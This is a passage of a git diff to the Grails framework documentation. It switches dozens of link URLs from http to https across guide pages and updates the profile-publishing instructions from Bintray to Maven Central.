@@ -28,7 +28,7 @@ Grails adopts the "convention over configuration" approach to configure itself.
 * `services` - The link:services.html[Service Layer].
 * `taglib` - link:theWebLayer.html#taglibs[Tag Libraries].
 * `utils` - Houses Grails-specific utilities.
-* `views` - link:theWebLayer.html#gsp[Groovy Server Pages (GSP)] or http://views.grails.org/latest[JSON Views] - Responsible for the "V" in MVC.
+* `views` - link:theWebLayer.html#gsp[Groovy Server Pages (GSP)] or https://views.grails.org/latest[JSON Views] - Responsible for the "V" in MVC.
 * `commands` - link:commandLine.html#customCommands[Custom Grails Commands] - Create your own Grails CLI commands.
 
 2.  `src/main/groovy` - Supporting Sources
diff --git a/grails-doc/src/en/guide/gettingStarted/deployingAnApplication.adoc b/grails-doc/src/en/guide/gettingStarted/deployingAnApplication.adoc
index 95a8f69f02..2ab4fcb064 100644
--- a/grails-doc/src/en/guide/gettingStarted/deployingAnApplication.adoc
+++ b/grails-doc/src/en/guide/gettingStarted/deployingAnApplication.adoc
@@ -41,7 +41,7 @@ To target a Tomcat 7 container, insert a line to `build.gradle` above the `depen
 ----
 ext['tomcat.version'] = '7.0.59'
 ----
-WARNING: Grails 5 contains dependencies that _require_ `javax.el-api:3.0` (eg.: `datastore-gorm:7.x`, `spring-boot:2.x`) which is only supported starting from Tomcat 8.x+, based on the http://tomcat.apache.org/whichversion.html[tomcat version table]!
+WARNING: Grails 5 contains dependencies that _require_ `javax.el-api:3.0` (eg.: `datastore-gorm:7.x`, `spring-boot:2.x`) which is only supported starting from Tomcat 8.x+, based on the https://tomcat.apache.org/whichversion.html[tomcat version table]!
 
 Unlike most scripts which default to the `development` environment unless overridden, the `war` command runs in the `production` environment by default. You can override this like any script by specifying the environment name, for example:
 
diff --git a/grails-doc/src/en/guide/gettingStarted/ide.adoc b/grails-doc/src/en/guide/gettingStarted/ide.adoc
index 4d3c48edd6..0ecc2c0987 100644
--- a/grails-doc/src/en/guide/gettingStarted/ide.adoc
+++ b/grails-doc/src/en/guide/gettingStarted/ide.adoc
@@ -55,9 +55,9 @@ Apache https://netbeans.apache.org[Netbeans] does not offer specific support for
 
 There are several excellent text editors that work nicely with Groovy and Grails. Here are some references:
 
-* A https://github.com/textmate/groovy-grails.tmbundle[bundle] is available for Groovy / Grails support in http://macromates.com[Textmate].
-* A https://packagecontrol.io/packages/Grails[plugin] can be installed via Sublime Package Control for the http://www.sublimetext.com[Sublime Text Editor].
+* A https://github.com/textmate/groovy-grails.tmbundle[bundle] is available for Groovy / Grails support in https://macromates.com[Textmate].
+* A https://packagecontrol.io/packages/Grails[plugin] can be installed via Sublime Package Control for the https://www.sublimetext.com[Sublime Text Editor].
 * The https://github.com/lifeisfoo/emacs-grails[emacs-grails] extension offers basic support for Grails development in Emacs.
-* See http://www.objectpartners.com/2012/02/21/using-vim-as-your-grails-ide-part-1-navigating-your-project/[this post] for some helpful tips on how to set up VIM as your Grails editor of choice.
+* See https://www.objectpartners.com/2012/02/21/using-vim-as-your-grails-ide-part-1-navigating-your-project/[this post] for some helpful tips on how to set up VIM as your Grails editor of choice.
 
 These text editors, along with the provided extensions and configurations, can enhance your Groovy and Grails development experience, offering flexibility and customization to meet your coding preferences.
diff --git a/grails-doc/src/en/guide/gettingStarted/requirements.adoc b/grails-doc/src/en/guide/gettingStarted/requirements.adoc
index b0cbdccfda..1fc5f96eb6 100644
--- a/grails-doc/src/en/guide/gettingStarted/requirements.adoc
+++ b/grails-doc/src/en/guide/gettingStarted/requirements.adoc
@@ -30,7 +30,7 @@ We recommend https://bell-sw.com/pages/downloads/#jdk-17-lts[Liberica JDK 17 LTS
 | 5 | 8
 |===
 
-To automate the installation of Grails we recommend http://sdkman.io[SDKMAN] which greatly simplifies installing and managing multiple Grails versions.
+To automate the installation of Grails we recommend https://sdkman.io[SDKMAN] which greatly simplifies installing and managing multiple Grails versions.
 
 On some platforms (for example macOS) the Java installation is automatically detected. However in many cases you will want to manually configure the location of Java. For example, if you're using bash or another variant of the Bourne Shell:
 
diff --git a/grails-doc/src/en/guide/hibernate/mappingWithHibernateAnnotations.adoc b/grails-doc/src/en/guide/hibernate/mappingWithHibernateAnnotations.adoc
index 6fab727374..289bf997cb 100644
--- a/grails-doc/src/en/guide/hibernate/mappingWithHibernateAnnotations.adoc
+++ b/grails-doc/src/en/guide/hibernate/mappingWithHibernateAnnotations.adoc
@@ -17,7 +17,7 @@ specific language governing permissions and limitations
 under the License.
 ////
 
-To map a domain class with annotations, create a new class in `src/main/groovy/` and use the annotations defined as part of the EJB 3.0 spec (for more info on this see the http://annotations.hibernate.org/[Hibernate Annotations Docs]):
+To map a domain class with annotations, create a new class in `src/main/groovy/` and use the annotations defined as part of the EJB 3.0 spec (for more info on this see the https://annotations.hibernate.org/[Hibernate Annotations Docs]):
 
 [source,groovy]
 ----
@@ -67,7 +67,7 @@ Then register the class with the Hibernate `sessionFactory` by adding relevant e
 [source,xml]
 ----
 <!DOCTYPE hibernate-configuration SYSTEM
-  "http://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">
+  "https://hibernate.sourceforge.net/hibernate-configuration-3.0.dtd">
 <hibernate-configuration>
     <session-factory>
         <mapping package="com.books" />
diff --git a/grails-doc/src/en/guide/i18n.adoc b/grails-doc/src/en/guide/i18n.adoc
index b37cf1ceae..0f9e4a0459 100644
--- a/grails-doc/src/en/guide/i18n.adoc
+++ b/grails-doc/src/en/guide/i18n.adoc
@@ -23,4 +23,4 @@ ____
 A Locale object represents a specific geographical, political, or cultural region. An operation that requires a Locale to perform its task is called locale-sensitive and uses the Locale  to tailor information for the user. For example, displaying a number is a locale-sensitive operation--the number should be formatted according to the customs/conventions of the user's native country, region, or culture.
 ____
 
-A Locale is made up of a https://www.loc.gov/standards/iso639-2/php/English_list.php[language code] and a http://www.iso.org/iso/country_codes/iso_3166_code_lists/country_names_and_code_elements.htm[country code]. For example "en_US" is the code for US English, whilst "en_GB" is the code for British English.
+A Locale is made up of a https://www.loc.gov/standards/iso639-2/php/English_list.php[language code] and a https://www.iso.org/iso/country_codes/iso_3166_code_lists/country_names_and_code_elements.htm[country code]. For example "en_US" is the code for US English, whilst "en_GB" is the code for British English.
diff --git a/grails-doc/src/en/guide/i18n/readingMessages.adoc b/grails-doc/src/en/guide/i18n/readingMessages.adoc
index 0156447492..143bf62b86 100644
--- a/grails-doc/src/en/guide/i18n/readingMessages.adoc
+++ b/grails-doc/src/en/guide/i18n/readingMessages.adoc
@@ -69,7 +69,7 @@ class MyappController {
 
 ==== Reading Messages in Controllers and Tag Libraries with the Message Tag
 
-Additionally, you can read a message inside Controllers and Tag Libraries with the link:http://gsp.grails.org/latest/ref/Tags/message.html[Message Tag]. However, using the message tag relies on GSP support which a Grails application may not necessarily have; e.g. a rest application.
+Additionally, you can read a message inside Controllers and Tag Libraries with the link:https://gsp.grails.org/latest/ref/Tags/message.html[Message Tag]. However, using the message tag relies on GSP support which a Grails application may not necessarily have; e.g. a rest application.
 
 In a controller, you can invoke tags as methods.
 
diff --git a/grails-doc/src/en/guide/introduction.adoc b/grails-doc/src/en/guide/introduction.adoc
index cb7cbd1f0b..84e65b82ec 100644
--- a/grails-doc/src/en/guide/introduction.adoc
+++ b/grails-doc/src/en/guide/introduction.adoc
@@ -24,18 +24,18 @@ Dynamic frameworks like Rails and Django helped pave the way to a more modern wa
 Grails is a full stack framework and attempts to solve as many pieces of the web development puzzle through the core technology and its associated plugins. Included out the box are things like:
 
 * link:{gormWebsite}[GORM] - An easy-to-use Object Mapping library with support for  link:{hibernate5Guide}[SQL],  link:{mongodbGuide}[MongoDB], https://gorm.grails.org/{projectVersion}/neo4j[Neo4j] and link:{gormWebsite}[more].
-* View technologies for https://gsp.grails.org[rendering HTML] as well as http://views.grails.org[JSON]
+* View technologies for https://gsp.grails.org[rendering HTML] as well as https://views.grails.org[JSON]
 * A controller layer built on https://spring.io/projects/spring-boot[Spring Boot]
-* A plugin system featuring http://plugins.grails.org[hundreds of plugins].
-* Flexible profiles to http://start.grails.org/#/index[create applications with AngularJS, React and more].
-* An interactive command line environment and build system based on http://gradle.org[Gradle]
-* An embedded http://tomcat.apache.org[Tomcat] container which is configured for on the fly reloading
+* A plugin system featuring https://plugins.grails.org[hundreds of plugins].
+* Flexible profiles to https://start.grails.org/#/index[create applications with AngularJS, React and more].
+* An interactive command line environment and build system based on https://gradle.org[Gradle]
+* An embedded https://tomcat.apache.org[Tomcat] container which is configured for on the fly reloading
 
-All of these are made easy to use through the power of the http://groovy-lang.org[Groovy] language and the extensive use of Domain Specific Languages (DSLs)
+All of these are made easy to use through the power of the https://groovy-lang.org[Groovy] language and the extensive use of Domain Specific Languages (DSLs)
 
 This documentation will take you through getting started with Grails and building web applications with the Grails framework.
 
-In addition to this documentation there are http://guides.grails.org[comprehensive guides] that walk you through various aspects of the technology.
+In addition to this documentation there are https://guides.grails.org[comprehensive guides] that walk you through various aspects of the technology.
 
 Finally, Grails is far more than just a web framework and is made up of various sub-projects. The following table summarizes some other key projects in the eco-system with links to documentation.
 
@@ -52,13 +52,13 @@ Finally, Grails is far more than just a web framework and is made up of various
 |https://gorm.grails.org/{projectVersion}/neo4j[GORM for Neo4j]
 |An Object Mapping implementation for Neo4j Graph Database
 
-|http://views.grails.org[JSON Views]
+|https://views.grails.org[JSON Views]
 |A View technology for rendering JSON on the server side
 
-|http://gsp.grails.org[Groovy Server Pages]
+|https://gsp.grails.org[Groovy Server Pages]
 |A View technology for rendering HTML and other markup on the server
 
-|http://async.grails.org[Async Framework]
+|https://async.grails.org[Async Framework]
 |Asynchronous programming abstraction with support for RxJava, GPars and more
 
 
diff --git a/grails-doc/src/en/guide/plugins/artefactApi/customArtefacts.adoc b/grails-doc/src/en/guide/plugins/artefactApi/customArtefacts.adoc
index f33df9eacc..3e70e3d471 100644
--- a/grails-doc/src/en/guide/plugins/artefactApi/customArtefacts.adoc
+++ b/grails-doc/src/en/guide/plugins/artefactApi/customArtefacts.adoc
@@ -39,4 +39,4 @@ The best way to understand how both the handler and wrapper classes work is to l
 * https://github.com/apache/grails-quartz/blob/master/src/main/groovy/grails/plugins/quartz/DefaultGrailsJobClass.java[DefaultGrailsJobClass]
 * https://github.com/apache/grails-quartz/blob/master/src/main/groovy/grails/plugins/quartz/JobArtefactHandler.groovy[JobArtefactHandler]
 
-Another example is the http://github.com/pledbrook/grails-shiro[Shiro plugin] which adds a realm artefact.
+Another example is the https://github.com/pledbrook/grails-shiro[Shiro plugin] which adds a realm artefact.
diff --git a/grails-doc/src/en/guide/plugins/hookingIntoRuntimeConfiguration.adoc b/grails-doc/src/en/guide/plugins/hookingIntoRuntimeConfiguration.adoc
index c0d427bd62..8336155a4c 100644
--- a/grails-doc/src/en/guide/plugins/hookingIntoRuntimeConfiguration.adoc
+++ b/grails-doc/src/en/guide/plugins/hookingIntoRuntimeConfiguration.adoc
@@ -71,7 +71,7 @@ Closure doWithSpring() {{->
 }}
 ----
 
-If you need to customize the servlet you can use Spring Boot's http://docs.spring.io/spring-boot/docs/current/api/org/springframework/boot/context/embedded/ServletRegistrationBean.html[ServletRegistrationBean]:
+If you need to customize the servlet you can use Spring Boot's https://docs.spring.io/spring-boot/docs/current/api/org/springframework/boot/context/embedded/ServletRegistrationBean.html[ServletRegistrationBean]:
 
 [source,groovy]
 ----
@@ -95,7 +95,7 @@ Closure doWithSpring() {{->
 }}
 ----
 
-However, if you want to control the order of filter registrations you will need to use Spring Boot's http://docs.spring.io/spring-boot/docs/current/api/org/springframework/boot/web/servlet/FilterRegistrationBean.html[FilterRegistrationBean]:
+However, if you want to control the order of filter registrations you will need to use Spring Boot's https://docs.spring.io/spring-boot/docs/current/api/org/springframework/boot/web/servlet/FilterRegistrationBean.html[FilterRegistrationBean]:
 
 [source,groovy]
 ----
diff --git a/grails-doc/src/en/guide/plugins/repositories.adoc b/grails-doc/src/en/guide/plugins/repositories.adoc
index 16e2f4579b..e23633ffb1 100644
--- a/grails-doc/src/en/guide/plugins/repositories.adoc
+++ b/grails-doc/src/en/guide/plugins/repositories.adoc
@@ -37,4 +37,4 @@ grails plugin-info [plugin-name]
 
 which prints extra information about it, such as its description, who wrote, etc.
 
-NOTE: If you have created a Grails plugin and want it to be hosted in the central repository, you'll find instructions for getting an account on the http://plugins.grails.org/[plugin portal] website.
+NOTE: If you have created a Grails plugin and want it to be hosted in the central repository, you'll find instructions for getting an account on the https://plugins.grails.org/[plugin portal] website.
diff --git a/grails-doc/src/en/guide/profiles.adoc b/grails-doc/src/en/guide/profiles.adoc
index 989ee9eebd..6a92507fcf 100644
--- a/grails-doc/src/en/guide/profiles.adoc
+++ b/grails-doc/src/en/guide/profiles.adoc
@@ -62,7 +62,7 @@ grails {
   profiles {
     repositories {
       myRepo {
-        url = "http://foo.com/repo"
+        url = "https://foo.com/repo"
         snapshotsEnabled = true
       }
       mavenCentral()
@@ -81,7 +81,7 @@ grails {
   profiles {
     repositories {
       myRepo {
-        url = "http://foo.com/repo"
+        url = "https://foo.com/repo"
         snapshotsEnabled = true
         username = "user"
         password = "pass"
diff --git a/grails-doc/src/en/guide/profiles/publishingProfiles.adoc b/grails-doc/src/en/guide/profiles/publishingProfiles.adoc
index 75db721b1f..3010547798 100644
--- a/grails-doc/src/en/guide/profiles/publishingProfiles.adoc
+++ b/grails-doc/src/en/guide/profiles/publishingProfiles.adoc
@@ -27,7 +27,7 @@ To mark a profile project for publishing, you need to apply the `grails-profile-
 apply plugin: "org.apache.grails.gradle.grails-publish-profile"
 ----
 
-To publish a profile using this plugin to the Grails central repository first upload the source to https://github.com[Github] (closed source profiles will not be accepted). Then register for an account on http://bintray.com[Bintray] and configure your keys as follows in the profile's `build.gradle` file:
+To publish a profile using this plugin to Maven Central first upload the source to https://github.com[Github] (closed source profiles will not be accepted). Then register for an account on https://central.sonatype.com[Maven Cnetral] and configure your keys as follows in the profile's `build.gradle` file:
 
 [source,groovy]
 ----
diff --git a/grails-doc/src/en/guide/testing/functionalTesting.adoc b/grails-doc/src/en/guide/testing/functionalTesting.adoc
index c7a6d3a3b1..912bada6b3 100644
--- a/grails-doc/src/en/guide/testing/functionalTesting.adoc
+++ b/grails-doc/src/en/guide/testing/functionalTesting.adoc
@@ -19,7 +19,7 @@ under the License.
 
 Functional tests involve making HTTP requests against the running application and verifying the resultant behaviour. This is useful for end-to-end testing scenarios, such as making REST calls against a JSON API.
 
-Grails by default ships with support for writing functional tests using the http://www.gebish.org[Geb framework]. To create a functional test you can use the `create-functional-test` command which will create a new functional test:
+Grails by default ships with support for writing functional tests using the https://www.gebish.org[Geb framework]. To create a functional test you can use the `create-functional-test` command which will create a new functional test:
 
 [source,groovy]
 ----
diff --git a/grails-doc/src/en/guide/theWebLayer/controllers/jsonResponses.adoc b/grails-doc/src/en/guide/theWebLayer/controllers/jsonResponses.adoc
index ce1d0b218b..1e5c316cd0 100644
--- a/grails-doc/src/en/guide/theWebLayer/controllers/jsonResponses.adoc
+++ b/grails-doc/src/en/guide/theWebLayer/controllers/jsonResponses.adoc
@@ -19,7 +19,7 @@ under the License.
 
 ==== Using the respond method to output JSON
 
-The `respond` method is the preferred way to return JSON and integrates with link:theWebLayer.html#contentNegotiation[Content Negotiation] and http://views.grails.org[JSON Views].
+The `respond` method is the preferred way to return JSON and integrates with link:theWebLayer.html#contentNegotiation[Content Negotiation] and https://views.grails.org[JSON Views].
 
 The `respond` method provides content negotiation strategies to intelligently produce an appropriate response for the given client.
 
@@ -79,7 +79,7 @@ In the above example Grails will respond by default with `json` if the media typ
 
 ==== Using Views to Output JSON Responses
 
-If you define a view (either a GSP or a http://views.grails.org[JSON View]) then Grails will render the view when using the `respond` method by calculating a model from the argument passed to `respond`.
+If you define a view (either a GSP or a https://views.grails.org[JSON View]) then Grails will render the view when using the `respond` method by calculating a model from the argument passed to `respond`.
 
 For example, in the previous listing, if you were to define `grails-app/views/index.gson` and `grails-app/views/index.gsp` views, these would be used if the client requested `application/json` or `text/html` media types respectively. Thus allowing you to define a single backend capable of serving responses to a web browser or representing your application's API.
 
diff --git a/grails-doc/src/en/guide/theWebLayer/controllers/moreOnJSONBuilder.adoc b/grails-doc/src/en/guide/theWebLayer/controllers/moreOnJSONBuilder.adoc
index 88632f7864..a7de2fbbe5 100644
--- a/grails-doc/src/en/guide/theWebLayer/controllers/moreOnJSONBuilder.adoc
+++ b/grails-doc/src/en/guide/theWebLayer/controllers/moreOnJSONBuilder.adoc
@@ -17,7 +17,7 @@ specific language governing permissions and limitations
 under the License.
 ////
 
-The previous section on XML and JSON responses covered simplistic examples of rendering XML and JSON responses. Whilst the XML builder used by Grails is the standard http://groovy-lang.org/processing-xml.html#_xmlparser_and_xmlslurper[XmlSlurper] found in Groovy.
+The previous section on XML and JSON responses covered simplistic examples of rendering XML and JSON responses. Whilst the XML builder used by Grails is the standard https://groovy-lang.org/processing-xml.html#_xmlparser_and_xmlslurper[XmlSlurper] found in Groovy.
 
-For JSON, since Grails 3.1, Grails uses Groovy's http://docs.groovy-lang.org/latest/html/documentation/core-domain-specific-languages.html#_streamingjsonbuilder[StreamingJsonBuilder] by default and you can refer to the http://docs.groovy-lang.org/latest/html/documentation/core-domain-specific-languages.html#_streamingjsonbuilder[Groovy documentation] and {groovyapi}groovy/json/StreamingJsonBuilder.html[StreamingJsonBuilder] API documentation on how to use it.
+For JSON, since Grails 3.1, Grails uses Groovy's https://docs.groovy-lang.org/latest/html/documentation/core-domain-specific-languages.html#_streamingjsonbuilder[StreamingJsonBuilder] by default and you can refer to the https://docs.groovy-lang.org/latest/html/documentation/core-domain-specific-languages.html#_streamingjsonbuilder[Groovy documentation] and {groovyapi}groovy/json/StreamingJsonBuilder.html[StreamingJsonBuilder] API documentation on how to use it.
 
diff --git a/grails-doc/src/en/guide/theWebLayer/fields/scaffolding/extending/index.adoc b/grails-doc/src/en/guide/theWebLayer/fields/scaffolding/extending/index.adoc
index aa614b96cf..4c96518096 100644
--- a/grails-doc/src/en/guide/theWebLayer/fields/scaffolding/extending/index.adoc
+++ b/grails-doc/src/en/guide/theWebLayer/fields/scaffolding/extending/index.adoc
@@ -44,7 +44,7 @@ Input renders must implement the link:api/org/grails/scaffolding/registry/Domain
 * `Boolean supports(DomainProperty domainProperty)`
     Return true if your renderer supports the given property. See the link:api/org/grails/scaffolding/model/property/DomainProperty.html[DomainProperty] and link:{gormApiDocs}/org/grails/datastore/mapping/model/PersistentProperty.html[PersistentProperty] interfaces to see what data is available on the domain property instance.
 * `Closure renderInput(Map defaultAttributes, DomainProperty property)`
-    Return a closure to be passed to a link:http://docs.groovy-lang.org/latest/html/api/groovy/xml/MarkupBuilder.html[MarkupBuilder] that renders your property
+    Return a closure to be passed to a link:https://docs.groovy-lang.org/latest/html/api/groovy/xml/MarkupBuilder.html[MarkupBuilder] that renders your property
 
 NOTE: The default attributes passed to `renderInput` are created by the link:api/org/grails/scaffolding/markup/PropertyMarkupRenderer.html#getStandardAttributes(org.grails.scaffolding.model.property.DomainProperty)[PropertyMarkupRenderer#getStandardAttributes] method.
 
@@ -64,9 +64,9 @@ Output renders must implement the link:api/org/grails/scaffolding/registry/Domai
 * `Boolean supports(DomainProperty domainProperty)`
     Return true if your renderer supports the given property. See the link:api/org/grails/scaffolding/model/property/DomainProperty.html[DomainProperty] and link:{gormApiDocs}/org/grails/datastore/mapping/model/PersistentProperty.html[PersistentProperty] interfaces to see what data is available on the domain property instance.
 * `Closure renderListOutput(DomainProperty property)`
-    Return a closure to be passed to a link:http://docs.groovy-lang.org/latest/html/api/groovy/xml/MarkupBuilder.html[MarkupBuilder] that renders your property in the context of a list of domain class instances
+    Return a closure to be passed to a link:https://docs.groovy-lang.org/latest/html/api/groovy/xml/MarkupBuilder.html[MarkupBuilder] that renders your property in the context of a list of domain class instances
 * `Closure renderOutput(DomainProperty property)`
-    Return a closure to be passed to a link:http://docs.groovy-lang.org/latest/html/api/groovy/xml/MarkupBuilder.html[MarkupBuilder] that renders your property in the context of a single domain class instance
+    Return a closure to be passed to a link:https://docs.groovy-lang.org/latest/html/api/groovy/xml/MarkupBuilder.html[MarkupBuilder] that renders your property in the context of a single domain class instance
 
 To register your renderer, inject the "domainOutputRendererRegistry" bean and execute `registerDomainRenderer`, passing along your renderer and its priority.
 
diff --git a/grails-doc/src/en/guide/theWebLayer/gson.adoc b/grails-doc/src/en/guide/theWebLayer/gson.adoc
index 4f930f5905..247bca5574 100644
--- a/grails-doc/src/en/guide/theWebLayer/gson.adoc
+++ b/grails-doc/src/en/guide/theWebLayer/gson.adoc
@@ -17,7 +17,7 @@ specific language governing permissions and limitations
 under the License.
 ////
 
-JSON views are written in Groovy, end with the file extension `gson` and reside in the `grails-app/views` directory.  They allow rendering of JSON responses using Groovy's http://docs.groovy-lang.org/latest/html/gapi/groovy/json/StreamingJsonBuilder.html[StreamingJsonBuilder] by providing a DSL for producing output in the JSON format. A hello world example can be seen below:
+JSON views are written in Groovy, end with the file extension `gson` and reside in the `grails-app/views` directory.  They allow rendering of JSON responses using Groovy's https://docs.groovy-lang.org/latest/html/gapi/groovy/json/StreamingJsonBuilder.html[StreamingJsonBuilder] by providing a DSL for producing output in the JSON format. A hello world example can be seen below:
 
 [source,groovy]
 .`grails-app/views/hello.gson`
@@ -30,7 +30,7 @@ The above JSON view results in the output:
 [source,javascript]
 {"message":{ "hello":"world"}}
 
-The `json` variable is an instance of {groovyapi}/groovy/json/StreamingJsonBuilder.html[StreamingJsonBuilder]. See the http://docs.groovy-lang.org/latest/html/documentation/core-domain-specific-languages.html#_streamingjsonbuilder[documentation] in the Groovy user guide for more information on `StreamingJsonBuilder`.
+The `json` variable is an instance of {groovyapi}/groovy/json/StreamingJsonBuilder.html[StreamingJsonBuilder]. See the https://docs.groovy-lang.org/latest/html/documentation/core-domain-specific-languages.html#_streamingjsonbuilder[documentation] in the Groovy user guide for more information on `StreamingJsonBuilder`.
 
 More example usages:
 
diff --git a/grails-doc/src/en/guide/theWebLayer/gson/jsonapi.adoc b/grails-doc/src/en/guide/theWebLayer/gson/jsonapi.adoc
index 11af1c9721..94380fc4a0 100644
--- a/grails-doc/src/en/guide/theWebLayer/gson/jsonapi.adoc
+++ b/grails-doc/src/en/guide/theWebLayer/gson/jsonapi.adoc
@@ -17,7 +17,7 @@ specific language governing permissions and limitations
 under the License.
 ////
 
-http://jsonapi.org/[JSON API] is a standard format for representing JSON.
+https://jsonapi.org/[JSON API] is a standard format for representing JSON.
 
 The JSON views plugin for Grails provides JSON API support out-of-the-box. All JSON views have access to the `jsonapi` instance which implements link:{api}/grails/plugin/json/view/api/JsonApiViewHelper.html[JsonApiViewHelper].
 
@@ -74,7 +74,7 @@ This is what an example `Book` instance rendered with JSON API might look like.
 
 == JSON API Object
 
-To include the link:http://jsonapi.org/format/#document-jsonapi-object[JSON API Object] in the response, include a `jsonApiObject` argument to the `render` method.
+To include the link:https://jsonapi.org/format/#document-jsonapi-object[JSON API Object] in the response, include a `jsonApiObject` argument to the `render` method.
 
 [source,groovy]
 model {
@@ -86,7 +86,7 @@ The response will contain `"jsonapi":{"version":"1.0"}` as the first key in the
 
 == Meta Object
 
-To add link:http://jsonapi.org/format/#document-meta[metadata] to your response, the `meta` argument can be passed to render with the value being the object that should be rendered. If this functionality is used in addition to `jsonApiObject: true`, the metadata will be rendered as the "meta" property of the "jsonapi" object.
+To add link:https://jsonapi.org/format/#document-meta[metadata] to your response, the `meta` argument can be passed to render with the value being the object that should be rendered. If this functionality is used in addition to `jsonApiObject: true`, the metadata will be rendered as the "meta" property of the "jsonapi" object.
 
 [source,groovy]
 model {
@@ -98,7 +98,7 @@ The response will contain `"meta":{"name":"Metadata Information"}` as the first
 
 == Rendering Errors
 
-The JSON API specification has link:http://jsonapi.org/format/#errors[instructions on how to render errors]. In the case of the Grails implementation, this applies to both exceptions and validation errors.
+The JSON API specification has link:https://jsonapi.org/format/#errors[instructions on how to render errors]. In the case of the Grails implementation, this applies to both exceptions and validation errors.
 
 === Exceptions
 
@@ -170,7 +170,7 @@ Currently links are not supported in the case of to many relationships.
 
 == Pagination
 
-The JSON API specification has a section which explains http://jsonapi.org/format/#fetching-pagination[pagination]. The Grails implementation follows that specification as it is written.
+The JSON API specification has a section which explains https://jsonapi.org/format/#fetching-pagination[pagination]. The Grails implementation follows that specification as it is written.
 
 To enable pagination links in your output you must be rendering a collection and also include some arguments in addition to the collection being rendered. There are two required arguments: total and resource. The default offset is 0 and max is 10.
 
@@ -202,7 +202,7 @@ json jsonapi.render(books, [pagination: [total: bookTotal, resource: Book, max:
 
 == Associations
 
-The JSON API specification details how relationships should be rendered. The first way is through a relationships object described http://jsonapi.org/format/#document-resource-object-relationships[here]. By default that is now relationships will be rendered in json views.
+The JSON API specification details how relationships should be rendered. The first way is through a relationships object described https://jsonapi.org/format/#document-resource-object-relationships[here]. By default that is now relationships will be rendered in json views.
 
 If you do not wish to render the relationships at all, the `associations` argument can be passed to `render` with the value of false.
 
@@ -212,7 +212,7 @@ model {
 }
 json jsonapi.render(book, [associations: false])
 
-The specification also has a section that describes http://jsonapi.org/format/#document-compound-documents[compound documents]. If you want one or more of your relationships to be rendered in that manner, you can include the `expand` argument.
+The specification also has a section that describes https://jsonapi.org/format/#document-compound-documents[compound documents]. If you want one or more of your relationships to be rendered in that manner, you can include the `expand` argument.
 
 [source,groovy]
 model {
diff --git a/grails-doc/src/en/guide/theWebLayer/gson/templateEngine.adoc b/grails-doc/src/en/guide/theWebLayer/gson/templateEngine.adoc
index 8eef99666c..dd3e68eec7 100644
--- a/grails-doc/src/en/guide/theWebLayer/gson/templateEngine.adoc
+++ b/grails-doc/src/en/guide/theWebLayer/gson/templateEngine.adoc
@@ -19,7 +19,7 @@ under the License.
 
 The JSON Views plugin registers a bean called `jsonTemplateEngine` of type link:{api}/grails/plugin/json/view/JsonViewTemplateEngine.html[JsonViewTemplateEngine].
 
-This class is a regular Groovy http://docs.groovy-lang.org/latest/html/documentation/template-engines.html[TemplateEngine], and you can use the engine to render JSON views outside the scope of an HTTP request.
+This class is a regular Groovy https://docs.groovy-lang.org/latest/html/documentation/template-engines.html[TemplateEngine], and you can use the engine to render JSON views outside the scope of an HTTP request.
 
 For example:
 
diff --git a/grails-doc/src/en/guide/theWebLayer/markup.adoc b/grails-doc/src/en/guide/theWebLayer/markup.adoc
index 3b986a8a44..d57871702c 100644
--- a/grails-doc/src/en/guide/theWebLayer/markup.adoc
+++ b/grails-doc/src/en/guide/theWebLayer/markup.adoc
@@ -19,7 +19,7 @@ under the License.
 
 Markup Views are written in Groovy, end with the file extension `gml` and reside in the `grails-app/views` directory.
 
-The Markup Views plugin uses Groovy's http://docs.groovy-lang.org/docs/latest/html/documentation/template-engines.html#_the_markuptemplateengine[MarkupTemplateEngine] and you can mostly use the http://docs.groovy-lang.org/docs/latest/html/documentation/template-engines.html#_the_markuptemplateengine[Groovy user guide] as a reference for the syntax.
+The Markup Views plugin uses Groovy's https://docs.groovy-lang.org/docs/latest/html/documentation/template-engines.html#_the_markuptemplateengine[MarkupTemplateEngine] and you can mostly use the https://docs.groovy-lang.org/docs/latest/html/documentation/template-engines.html#_the_markuptemplateengine[Groovy user guide] as a reference for the syntax.
 
 Example Markup View:
 
@@ -40,7 +40,7 @@ This produces the following output given a model such as `[cars:[[make:"Audi", m
 <?xml version='1.0'?>
 <cars><car make='Audi' model='A5'/></cars>
 
-For further examples see Groovy's http://docs.groovy-lang.org/docs/latest/html/documentation/template-engines.html#_the_markuptemplateengine[MarkupTemplateEngine] documentation.
+For further examples see Groovy's https://docs.groovy-lang.org/docs/latest/html/documentation/template-engines.html#_the_markuptemplateengine[MarkupTemplateEngine] documentation.
 
 All Markup views subclass the link:api/grails/plugin/markup/view/MarkupViewTemplate.html[MarkupViewTemplate] class by default.
 
diff --git a/grails-doc/src/en/guide/theWebLayer/markup/markupConfiguration.adoc b/grails-doc/src/en/guide/theWebLayer/markup/markupConfiguration.adoc
index 0db77038a2..7f217070eb 100644
--- a/grails-doc/src/en/guide/theWebLayer/markup/markupConfiguration.adoc
+++ b/grails-doc/src/en/guide/theWebLayer/markup/markupConfiguration.adoc
@@ -17,7 +17,7 @@ specific language governing permissions and limitations
 under the License.
 ////
 
-Markup views configuration can be altered with `grails-app/conf/application.yml`. Any of the properties within the link:{api}/grails/plugin/markup/view/MarkupViewConfiguration.html[MarkupViewConfiguration] class and Groovy's http://docs.groovy-lang.org/latest/html/api/groovy/text/markup/TemplateConfiguration.html[TemplateConfiguration] class can be set.
+Markup views configuration can be altered with `grails-app/conf/application.yml`. Any of the properties within the link:{api}/grails/plugin/markup/view/MarkupViewConfiguration.html[MarkupViewConfiguration] class and Groovy's https://docs.groovy-lang.org/latest/html/api/groovy/text/markup/TemplateConfiguration.html[TemplateConfiguration] class can be set.
 
 For example:
 
diff --git a/grails-doc/src/en/guide/upgrading/upgrading33x.adoc b/grails-doc/src/en/guide/upgrading/upgrading33x.adoc
index 178627c48a..056d1a135f 100644
--- a/grails-doc/src/en/guide/upgrading/upgrading33x.adoc
+++ b/grails-doc/src/en/guide/upgrading/upgrading33x.adoc
@@ -374,7 +374,7 @@ seleniumSafariDriverVersion=3.14.0
 <4> Includes the https://github.com/apache/grails-geb[Grails Geb Plugin dependency] which has a transitive dependency to `geb-spock`. This is the dependency necessary to work with https://www.gebish.org[Geb] and Spock.
 <5> Selenium and different driver dependencies.
 
-Create also a http://www.gebish.org/manual/current/#configuration[Geb Configuration] file at `src/integration-test/resources/GebConfig.groovy`.
+Create also a https://www.gebish.org/manual/current/#configuration[Geb Configuration] file at `src/integration-test/resources/GebConfig.groovy`.
 
 [source, groovy]
 .src/integration-test/resources/GebConfig.groovy
